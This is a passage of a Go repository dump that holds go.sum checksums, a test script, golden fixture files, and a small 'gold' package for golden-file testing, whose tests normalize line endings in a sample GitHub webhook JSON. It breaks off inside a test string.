h1:xKWKPxrxB6OtMCbmMY021CqC45J+3Onta9MqjhnusiQ= go.opentelemetry.io/otel v1.35.0/go.mod h1:UEqy8Zp11hpkUrL73gSlELM0DupHoiq72dR+Zqel/+Y= go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc v0.11.0 h1:HMUytBT3uGhPKYY/u/G5MR9itrlSO2SMOsSD3Tk3k7A= go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc v0.11.0/go.mod h1:hdDXsiNLmdW/9BF2jQpnHHlhFajpWCEYfM6e5m2OAZg= go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploghttp v0.11.0 h1:C/Wi2F8wEmbxJ9Kuzw/nhP+Z9XaHYMkyDmXy6yR2cjw= go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploghttp v0.11.0/go.mod h1:0Lr9vmGKzadCTgsiBydxr6GEZ8SsZ7Ks53LzjWG5Ar4= go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetricgrpc v1.35.0 h1:QcFwRrZLc82r8wODjvyCbP7Ifp3UANaBSmhDSFjnqSc= go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetricgrpc v1.35.0/go.mod h1:CXIWhUomyWBG/oY2/r/kLp6K/cmx9e/7DLpBuuGdLCA= go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp v1.35.0 h1:0NIXxOCFx+SKbhCVxwl3ETG8ClLPAa0KuKV6p3yhxP8= go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp v1.35.0/go.mod h1:ChZSJbbfbl/DcRZNc9Gqh6DYGlfjw4PvO1pEOZH1ZsE= go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.35.0 h1:1fTNlAIJZGWLP5FVu0fikVry1IsiUnXjf7QFvoNN3Xw= go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.35.0/go.mod h1:zjPK58DtkqQFn+YUMbx0M2XV3QgKU0gS9LeGohREyK4= go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.35.0 h1:m639+BofXTvcY1q8CGs4ItwQarYtJPOWmVobfM1HpVI= go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.35.0/go.mod h1:LjReUci/F4BUyv+y4dwnq3h/26iNOeC3wAIqgvTIZVo= go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.35.0 h1:xJ2qHD0C1BeYVTLLR9sX12+Qb95kfeD/byKj6Ky1pXg= go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.35.0/go.mod h1:u5BF1xyjstDowA1R5QAO9JHzqK+ublenEW/dyqTjBVk= go.opentelemetry.io/otel/exporters/prometheus v0.57.0 h1:AHh/lAP1BHrY5gBwk8ncc25FXWm/gmmY3BX258z5nuk= go.opentelemetry.io/otel/exporters/prometheus v0.57.0/go.mod h1:QpFWz1QxqevfjwzYdbMb4Y1NnlJvqSGwyuU0B4iuc9c= go.opentelemetry.io/otel/exporters/stdout/stdoutlog v0.11.0 h1:k6KdfZk72tVW/QVZf60xlDziDvYAePj5QHwoQvrB2m8= go.opentelemetry.io/otel/exporters/stdout/stdoutlog v0.11.0/go.mod h1:5Y3ZJLqzi/x/kYtrSrPSx7TFI/SGsL7q2kME027tH6I= go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.35.0 h1:PB3Zrjs1sG1GBX51SXyTSoOTqcDglmsk7nT6tkKPb/k= go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.35.0/go.mod h1:U2R3XyVPzn0WX7wOIypPuptulsMcPDPs/oiSVOMVnHY= go.opentelemetry.io/otel/exporters/stdout/stdouttrace v1.35.0 h1:T0Ec2E+3YZf5bgTNQVet8iTDW7oIk03tXHq+wkwIDnE= go.opentelemetry.io/otel/exporters/stdout/stdouttrace v1.35.0/go.mod h1:30v2gqH+vYGJsesLWFov8u47EpYTcIQcBjKpI6pJThg= go.opentelemetry.io/otel/log v0.11.0 h1:c24Hrlk5WJ8JWcwbQxdBqxZdOK7PcP/LFtOtwpDTe3Y= go.opentelemetry.io/otel/log v0.11.0/go.mod h1:U/sxQ83FPmT29trrifhQg+Zj2lo1/IPN1PF6RTFqdwc= go.opentelemetry.io/otel/metric v1.21.0/go.mod h1:o1p3CA8nNHW8j5yuQLdc1eeqEaPfzug24uvsyIEJRWM= go.opentelemetry.io/otel/metric v1.35.0 h1:0znxYu2SNyuMSQT4Y9WDWej0VpcsxkuklLa4/siN90M= go.opentelemetry.io/otel/metric v1.35.0/go.mod h1:nKVFgxBZ2fReX6IlyW28MgZojkoAkJGaE8CpgeAU3oE= go.opentelemetry.io/otel/sdk v1.21.0/go.mod h1:Nna6Yv7PWTdgJHVRD9hIYywQBRx7pbox6nwBnZIxl/E= go.opentelemetry.io/otel/sdk v1.35.0 h1:iPctf8iprVySXSKJffSS79eOjl9pvxV9ZqOWT0QejKY= go.opentelemetry.io/otel/sdk v1.35.0/go.mod h1:+ga1bZliga3DxJ3CQGg3updiaAJoNECOgJREo9KHGQg= go.opentelemetry.io/otel/sdk/log v0.11.0 h1:7bAOpjpGglWhdEzP8z0VXc4jObOiDEwr3IYbhBnjk2c= go.opentelemetry.io/otel/sdk/log v0.11.0/go.mod h1:dndLTxZbwBstZoqsJB3kGsRPkpAgaJrWfQg3lhlHFFY= go.opentelemetry.io/otel/sdk/metric v1.35.0 h1:1RriWBmCKgkeHEhM7a2uMjMUfP7MsOF5JpUCaEqEI9o= go.opentelemetry.io/otel/sdk/metric v1.35.0/go.mod h1:is6XYCUMpcKi+ZsOvfluY5YstFnhW0BidkR+gL+qN+w= go.opentelemetry.io/otel/trace v1.21.0/go.mod h1:LGbsEB0f9LGjN+OZaQQ26sohbOmiMR+BaslueVtS/qQ= go.opentelemetry.io/otel/trace v1.35.0 h1:dPpEfJu1sDIqruz7BHFG3c7528f6ddfSWfFDVt/xgMs= go.opentelemetry.io/otel/trace v1.35.0/go.mod h1:WUk7DtFp1Aw2MkvqGdwiXYDZZNvA/1J8o6xRXLrIkyc= go.opentelemetry.io/proto/otlp v1.5.0 h1:xJvq7gMzB31/d406fB8U5CBdyQGw4P399D1aQWU/3i4= go.opentelemetry.io/proto/otlp v1.5.0/go.mod h1:keN8WnHxOy8PG0rQZjJJ5A2ebUoafqWp0eVQ4yIXvJ4= go.uber.org/automaxprocs v1.6.0 h1:O3y2/QNTOdbF+e/dpXNNW7Rx2hZ4sTIPyybbxyNqTUs= go.uber.org/automaxprocs v1.6.0/go.mod h1:ifeIMSnPZuznNm6jmdzmU3/bfk01Fe2fotchwEFJ8r8= go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0= go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y= go.uber.org/zap v1.27.0 h1:aJMhYGrd5QSmlpLMr2MftRKl7t8J8PTZPA732ud/XR8= go.uber.org/zap v1.27.0/go.mod h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.37.0 h1:1zLorHbz+LYj7MQlSf1+2tPIIgibq2eL5xkrGk6f+2c= golang.org/x/net v0.37.0/go.mod h1:ivrbrMbzFq5J41QOQh0siUuly180yBYtLp+CKbEaFx8= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.13.0 h1:AauUjRAJ9OSnvULf/ARrrVywoJDy0YS2AwQ98I37610= golang.org/x/sync v0.13.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.14.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.31.0 h1:ioabZlmFYtWhL+TRYpcnNlLwhyxaM9kWTDEmfnprqik= golang.org/x/sys v0.31.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.23.0 h1:D71I7dUrlY+VX0gQShAThNGHFxZ13dGLBHQLVl1mJlY= golang.org/x/text v0.23.0/go.mod h1:/BLNzu4aZCJ1+kcD0DNRotWKage4q2rGVAg4o22unh4= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/genproto/googleapis/api v0.0.0-20250218202821-56aae31c358a h1:nwKuGPlUAt+aR+pcrkfFRrTU1BVrSmYyYMxYbUIVHr0= google.golang.org/genproto/googleapis/api v0.0.0-20250218202821-56aae31c358a/go.mod h1:3kWAYMk1I75K4vykHtKt2ycnOgpA6974V7bREqbsenU= google.golang.org/genproto/googleapis/rpc v0.0.0-20250218202821-56aae31c358a h1:51aaUVRocpvUOSQKM6Q7VuoaktNIaMCLuhZB6DKksq4= google.golang.org/genproto/googleapis/rpc v0.0.0-20250218202821-56aae31c358a/go.mod h1:uRxBH1mhmO8PGhU89cMcHaXKZqO+OfakD8QQO0oYwlQ= google.golang.org/grpc v1.71.1 h1:ffsFWr7ygTUscGPI0KKK6TLrGz0476KUvvsbqWK0rPI= google.golang.org/grpc v1.71.1/go.mod h1:H0GRtasmQOh9LkFoCPDu3ZrwUtD1YGE+b2vYBYd/8Ec= google.golang.org/protobuf v1.36.6 h1:z1NpPI8ku2WgiWnf+t9wTPsn6eP1L7ksHUlkfLvd9xY= google.golang.org/protobuf v1.36.6/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/5YcXBHnY= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= ``` ## /go.test.sh ```sh path="/go.test.sh" #!/usr/bin/env bash set -e echo "test" go test --timeout 5m ./... echo "test -race" go test --timeout 5m -race ./... ``` ## /gold/_golden/file.hex ```hex path="/gold/_golden/file.hex" 00000000 01 02 03 48 69 21 |...Hi!| ``` ## /gold/_golden/file.raw ```raw path="/gold/_golden/file.raw" Hi! ``` ## /gold/_golden/hello.txt Hello, world! ## /gold/gold.go ```go path="/gold/gold.go" // Package gold implements golden files. package gold import ( "bytes" "encoding/hex" "flag" "os" "path" "path/filepath" "testing" "github.com/stretchr/testify/require" ) const defaultDir = "_golden" // _update reports whether golden files update is requested. // // Call Init() in TestMain to propagate. var _update bool // _clean reports whether all golden files should be removed before // running tests. // // Call Init() in TestMain to propagate. var _clean bool // Init should be called in TestMain. func Init() { flag.BoolVar(&_update, "update", false, "update golden files") flag.BoolVar(&_clean, "clean", true, "clean golden files") flag.Parse() if _clean && _update { dir, err := os.ReadDir(defaultDir) if err != nil { // Ignore any error. return } for _, f := range dir { p := filepath.Join(defaultDir, f.Name()) if err := os.RemoveAll(p); err != nil { panic(err) } } } } // filePath returns path to golden file. func filePath(elems ...string) string { return filepath.Join( append([]string{defaultDir}, elems...)..., ) } func exists(t testing.TB, elems ...string) bool { t.Helper() p := filePath(elems...) data, err := os.Stat(p) if err == nil { if data.IsDir() { t.Fatalf("golden file %s is directory", p) } return true } if os.IsNotExist(err) { return false } // Unexpected error t.Fatal(err) return false } // readFile reads golden file. func readFile(t testing.TB, elems ...string) []byte { t.Helper() p := filePath(elems...) data, err := os.ReadFile(p) // nolint:gosec // testing if err != nil { t.Fatalf("golden file %s: %+v", path.Join(elems...), err) } return data } func writeFile(t testing.TB, data []byte, elems ...string) { t.Helper() p := filePath(elems...) require.NoError(t, os.MkdirAll(path.Dir(p), 0o700), "make dir for golden files") require.NoError(t, os.WriteFile(p, data, 0o600), "write golden file") } // NormalizeNewlines normalizes \r\n (windows) and \r (mac) // into \n (unix). func NormalizeNewlines(s string) string { return string(normalizeNewlines([]byte(s))) } // normalizeNewlines normalizes \r\n (windows) and \r (mac) // into \n (unix). func normalizeNewlines(d []byte) []byte { // replace CR LF \r\n (windows) with LF \n (unix) d = bytes.ReplaceAll(d, []byte{13, 10}, []byte{10}) // replace CF \r (mac) with LF \n (unix) d = bytes.ReplaceAll(d, []byte{13}, []byte{10}) return d } // Str checks text golden file. func Str(t testing.TB, s string, name ...string) { t.Helper() if len(name) == 0 { name = []string{"file.txt"} } update := _update if !exists(t, name...) { t.Log("Populating initial golden file") update = true } if update { writeFile(t, []byte(s), name...) } data := readFile(t, name...) data = normalizeNewlines(data) require.Equal(t, string(data), s, "golden file text mismatch") } // Bytes check binary golden file. func Bytes(t testing.TB, data []byte, name ...string) { t.Helper() if len(name) == 0 { name = []string{"file"} } // Adding ".raw" prefix to visually distinguish hex and raw. last := len(name) - 1 rawName := append([]string{}, name...) rawName[last] += ".raw" update := _update if !exists(t, rawName...) { t.Log("Populating initial golden file") update = true } if update { // Writing hex dump next to raw binary to make // git diff more understandable on golden file // updates. dump := hex.Dump(data) dumpName := append([]string{}, name...) dumpName[last] += ".hex" writeFile(t, []byte(dump), dumpName...) // Writing raw file. writeFile(t, data, rawName...) } expected := readFile(t, rawName...) require.Equal(t, expected, data, "golden file binary mismatch") } ``` ## /gold/gold_test.go ```go path="/gold/gold_test.go" package gold_test import ( "os" "testing" "github.com/stretchr/testify/require" "github.com/keytemp/sdk/gold" ) func TestStr(t *testing.T) { gold.Str(t, "Hello, world!\n", "hello.txt") } func TestBytes(t *testing.T) { gold.Bytes(t, append([]byte{1, 2, 3}, "Hi!"...)) } func TestNormalize(t *testing.T) { const normalized = "{\n \"sender\": {\n \"id\": 866677,\n \"login\": \"ernado\",\n \"display_login\": \"ernado\",\n \"gravatar_id\": \"\",\n \"url\": \"https://api.github.com/users/ernado\",\n \"html_url\": \"https://github.com/ernado\",\n \"avatar_url\": \"https://avatars.githubusercontent.com/u/866677?\"\n },\n \"action\": \"opened\",\n \"issue\": {\n \"url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14\",\n \"repository_url\": \"https://api.github.com/repos/ernado/oss-estimator\",\n \"labels_url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14/labels{/name}\",\n \"comments_url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14/comments\",\n \"events_url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14/events\",\n \"html_url\": \"https://github.com/ernado/oss-estimator/issues/14\",\n \"id\": 1637789355,\n \"node_id\": \"I_kwDOJGfUlc5hnq6r\",\n \"number\": 14,\n \"title\": \"test4\",\n \"user\": {\n \"login\": \"ernado\",\n \"id\": 866677,\n \"node_id\": \"MDQ6VXNlcjg2NjY3Nw==\",\n \"avatar_url\": \"https://avatars.githubusercontent.com/u/866677?v=4\",\n \"gravatar_id\": \"\",\n \"url\": \"https://api.github.com/users/ernado\",\n \"html_url\": \"https://github.com/ernado\",\n \"followers_url\": \"https://api.github.com/users/ernado/followers\",\n \"following_url\": \"https://api.github.com/users/ernado/following{/other_user}\",\n \"gists_url\": \"https://api.github.com/users/ernado/gists{/gist_id}\",\n \"starred_url\": \"https://api.github.com/users/ernado/starred{/owner}{/repo}\",\n \"subscriptions_url\": \"https://api.github.com/users/ernado/subscriptions\",\n \"organizations_url\": \"https://api.github.com/users/ernado/orgs\",\n \"repos_url\": \"https://api.github.com/users/ernado/repos\",\n \"events_url\": \"https://api.github.com/users/ernado/events{/privacy}\",\n \"received_events_url\": \"https://api.github.com/users/ernado/received_events\",\n \"type\": \"User\",\n \"site_admin\": false\n },\n \"labels\": [],\n \"state\": \"open\",\n \"locked\": false,\n \"assignee\": null,\n \"assignees\": [],\n \"milestone\": null,\n \"comments\": 0,\n \"created_at\": \"2023-03-23T15:41:09Z\",\n \"updated_at\": \"2023-03-23T15:41:09Z\",\n \"closed_at\": null,\n \"author_association\": \"OWNER\",\n \"active_lock_reason\": null,\n \"body\": null,\n \"reactions\": {\n \"url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14/reactions\",\n \"total_count\": 0,\n \"+1\": 0,\n \"-1\": 0,\n \"laugh\": 0,\n \"hooray\": 0,\n \"confused\": 0,\n \"heart\": 0,\n \"rocket\": 0,\n \"eyes\": 0\n },\n \"timeline_url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14/timeline\",\n \"performed_via_github_app\": null,\n \"state_reason\": null\n },\n \"repository\": {\n \"id\": 610784405,\n \"full_name\": \"ernado/oss-estimator\",\n \"url\": \"https://api.github.com/repos/ernado/oss-estimator\",\n \"html_url\": \"https://github.com/ernado/oss-estimator\",\n \"name\": \"oss-estimator\",\n \"owner\": {\n \"login\": \"ernado\"\n }\n }\n}" const raw = "{\n \"sender\": {\n \"id\": 866677,\n \"login\": \"ernado\",\n \"display_login\": \"ernado\",\n \"gravatar_id\": \"\",\n \"url\": \"https://api.github.com/users/ernado\",\n \"html_url\": \"https://github.com/ernado\",\n \"avatar_url\": \"https://avatars.githubusercontent.com/u/866677?\"\n },\n \"action\": \"opened\",\n \"issue\": {\r\n \"url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14\",\r\n \"repository_url\": \"https://api.github.com/repos/ernado/oss-estimator\",\r\n \"labels_url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14/labels{/name}\",\r\n \"comments_url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14/comments\",\r\n \"events_url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14/events\",\r\n \"html_url\": \"https://github.com/ernado/oss-estimator/issues/14\",\r\n \"id\": 1637789355,\r\n \"node_id\": \"I_kwDOJGfUlc5hnq6r\",\r\n \"number\": 14,\r\n \"title\": \"test4\",\r\n \"user\": {\r\n \"login\": \"ernado\",\r\n \"id\": 866677,\r\n \"node_id\": \"MDQ6VXNlcjg2NjY3Nw==\",\r\n \"avatar_url\": \"https://avatars.githubusercontent.com/u/866677?v=4\",\r\n \"gravatar_id\": \"\",\r\n \"url\": \"https://api.github.com/users/ernado\",\r\n \"html_url\": \"https://github.com/ernado\",\r\n \"followers_url\": \"https://api.github.com/users/ernado/followers\",\r\n \"following_url\": \"https://api.github.com/users/ernado/following{/other_user}\",\r\n \"gists_url\": \"https://api.github.com/users/ernado/gists{/gist_id}\",\r\n \"starred_url\": \"https://api.github.com/users/ernado/starred{/owner}{/repo}\",\r\n \"subscriptions_url\": \"https://api.github.com/users/ernado/subscriptions\",\r\n \"organizations_url\": \"https://api.github.com/users/ernado/orgs\",\r\n \"repos_url\": \"https://api.github.com/users/ernado/repos\",\r\n \"events_url\": \"https://api.github.com/users/ernado/events{/privacy}\",\r\n \"received_events_url\": \"https://api.github.com/users/ernado/received_events\",\r\n \"type\": \"User\",\r\n \"site_admin\": false\r\n },\r\n \"labels\": [],\r\n \"state\": \"open\",\r\n \"locked\": false,\r\n \"assignee\": null,\r\n \"assignees\": [],\r\n \"milestone\": null,\r\n \"comments\": 0,\r\n \"created_at\": \"2023-03-23T15:41:09Z\",\r\n \"updated_at\": \"2023-03-23T15:41:09Z\",\r\n \"closed_at\": null,\r\n \"author_association\": \"OWNER\",\r\n \"active_lock_reason\": null,\r\n \"body\": null,\r\n \"reactions\": {\r\n \"url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14/reactions\",\r\n \"total_count\": 0,\r\n \"+1\": 0,\r\n \"-1\": 0,\r\n \"laugh\": 0,\r\n \"hooray\": 0,\r\n \"confused\": 0,\r\n \"heart\": 0,\r\n \"rocket\": 0,\r\n \"eyes\": 0\r\n },\r\n \"timeline_url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14/timeline\",\r\n \"performed_via_github_app\": null,\r\n \"state_reason\": null\r\n },\n \"repository\": {\n \"id\": 610784405,\n \"full_name\": \"ernado/oss-estimator\",\n \"url\": \"https://api.github.com/repos/ernado/oss-estimator\",\n \"html_url\": \"https://github.com/ernado/oss-estimator\",\n \"name\": \"oss-estimator\",\n \"owner\": {\n \"login\": \"ernado\"\n }\n }\n}" out := gold.NormalizeNewlines(raw) require.Equal(t, normalized, out) } func TestMain(m *testing.M) { // Explicitly registering flags for golden files. gold.Init() os.Exit(m.Run()) } ``` ## /gold/gotd_private_test.go ```go path="/gold/gotd_private_test.go" package gold import ( "testing" "github.com/stretchr/testify/require" ) func TestNormalize(t *testing.T) { const normalized = "{\n \"sender\": {\n \"id\": 866677,\n \"login\": \"ernado\",\n \"display_login\": \"ernado\",\n \"gravatar_id\": \"\",\n \"url\": \"https://api.github.com/users/ernado\",\n \"html_url\": \"https://github.com/ernado\",\n \"avatar_url\": \"https://avatars.githubusercontent.com/u/866677?\"\n },\n \"action\": \"opened\",\n \"issue\": {\n \"url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14\",\n \"repository_url\": \"https://api.github.com/repos/ernado/oss-estimator\",\n \"labels_url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14/labels{/name}\",\n \"comments_url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14/comments\",\n \"events_url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14/events\",\n \"html_url\": \"https://github.com/ernado/oss-estimator/issues/14\",\n \"id\": 1637789355,\n \"node_id\": \"I_kwDOJGfUlc5hnq6r\",\n \"number\": 14,\n \"title\": \"test4\",\n \"user\": {\n \"login\": \"ernado\",\n \"id\": 866677,\n \"node_id\": \"MDQ6VXNlcjg2NjY3Nw==\",\n \"avatar_url\": \"https://avatars.githubusercontent.com/u/866677?v=4\",\n \"gravatar_id\": \"\",\n \"url\": \"https://api.github.com/users/ernado\",\n \"html_url\": \"https://github.com/ernado\",\n \"followers_url\": \"https://api.github.com/users/ernado/followers\",\n \"following_url\": \"https://api.github.com/users/ernado/following{/other_user}\",\n \"gists_url\": \"https://api.github.com/users/ernado/gists{/gist_id}\",\n \"starred_url\": \"https://api.github.com/users/ernado/starred{/owner}{/repo}\",\n \"subscriptions_url\": \"https://api.github.com/users/ernado/subscriptions\",\n \"organizations_url\": \"https://api.github.com/users/ernado/orgs\",\n \"repos_url\": \"https://api.github.com/users/ernado/repos\",\n \"events_url\": \"https://api.github.com/users/ernado/events{/privacy}\",\n \"received_events_url\": \"https://api.github.com/users/ernado/received_events\",\n \"type\": \"User\",\n \"site_admin\": false\n },\n \"labels\": [],\n \"state\": \"open\",\n \"locked\": false,\n \"assignee\": null,\n \"assignees\": [],\n \"milestone\": null,\n \"comments\": 0,\n \"created_at\": \"2023-03-23T15:41:09Z\",\n \"updated_at\": \"2023-03-23T15:41:09Z\",\n \"closed_at\": null,\n \"author_association\": \"OWNER\",\n \"active_lock_reason\": null,\n \"body\": null,\n \"reactions\": {\n \"url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14/reactions\",\n \"total_count\": 0,\n \"+1\": 0,\n \"-1\": 0,\n \"laugh\": 0,\n \"hooray\": 0,\n \"confused\": 0,\n \"heart\": 0,\n \"rocket\": 0,\n \"eyes\": 0\n },\n \"timeline_url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14/timeline\",\n \"performed_via_github_app\": null,\n \"state_reason\": null\n },\n \"repository\": {\n \"id\": 610784405,\n \"full_name\": \"ernado/oss-estimator\",\n \"url\": \"https://api.github.com/repos/ernado/oss-estimator\",\n \"html_url\": \"https://github.com/ernado/oss-estimator\",\n \"name\": \"oss-estimator\",\n \"owner\": {\n \"login\": \"ernado\"\n }\n }\n}" const raw = "{\n \"sender\": {\n \"id\": 866677,\n \"login\": \"ernado\",\n \"display_login\": \"ernado\",\n \"gravatar_id\": \"\",\n \"url\": \"https://api.github.com/users/ernado\",\n \"html_url\": \"https://github.com/ernado\",\n \"avatar_url\": \"https://avatars.githubusercontent.com/u/866677?\"\n },\n \"action\": \"opened\",\n \"issue\": {\r\n \"url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14\",\r\n \"repository_url\": \"https://api.github.com/repos/ernado/oss-estimator\",\r\n \"labels_url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14/labels{/name}\",\r\n \"comments_url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14/comments\",\r\n \"events_url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14/events\",\r\n \"html_url\": \"https://github.com/ernado/oss-estimator/issues/14\",\r\n \"id\": 1637789355,\r\n \"node_id\": \"I_kwDOJGfUlc5hnq6r\",\r\n \"number\": 14,\r\n \"title\": \"test4\",\r\n \"user\": {\r\n \"login\": \"ernado\",\r\n \"id\": 866677,\r\n \"node_id\": \"MDQ6VXNlcjg2NjY3Nw==\",\r\n \"avatar_url\": \"https://avatars.githubusercontent.com/u/866677?v=4\",\r\n \"gravatar_id\": \"\",\r\n \"url\": \"https://api.github.com/users/ernado\",\r\n \"html_url\": \"https://github.com/ernado\",\r\n \"followers_url\": \"https://api.github.com/users/ernado/followers\",\r\n \"following_url\": \"https://api.github.com/users/ernado/following{/other_user}\",\r\n \"gists_url\": \"https://api.github.com/users/ernado/gists{/gist_id}\",\r\n \"starred_url\": \"https://api.github.com/users/ernado/starred{/owner}{/repo}\",\r\n \"subscriptions_url\": \"https://api.github.com/users/ernado/subscriptions\",\r\n \"organizations_url\": \"https://api.github.com/users/ernado/orgs\",\r\n 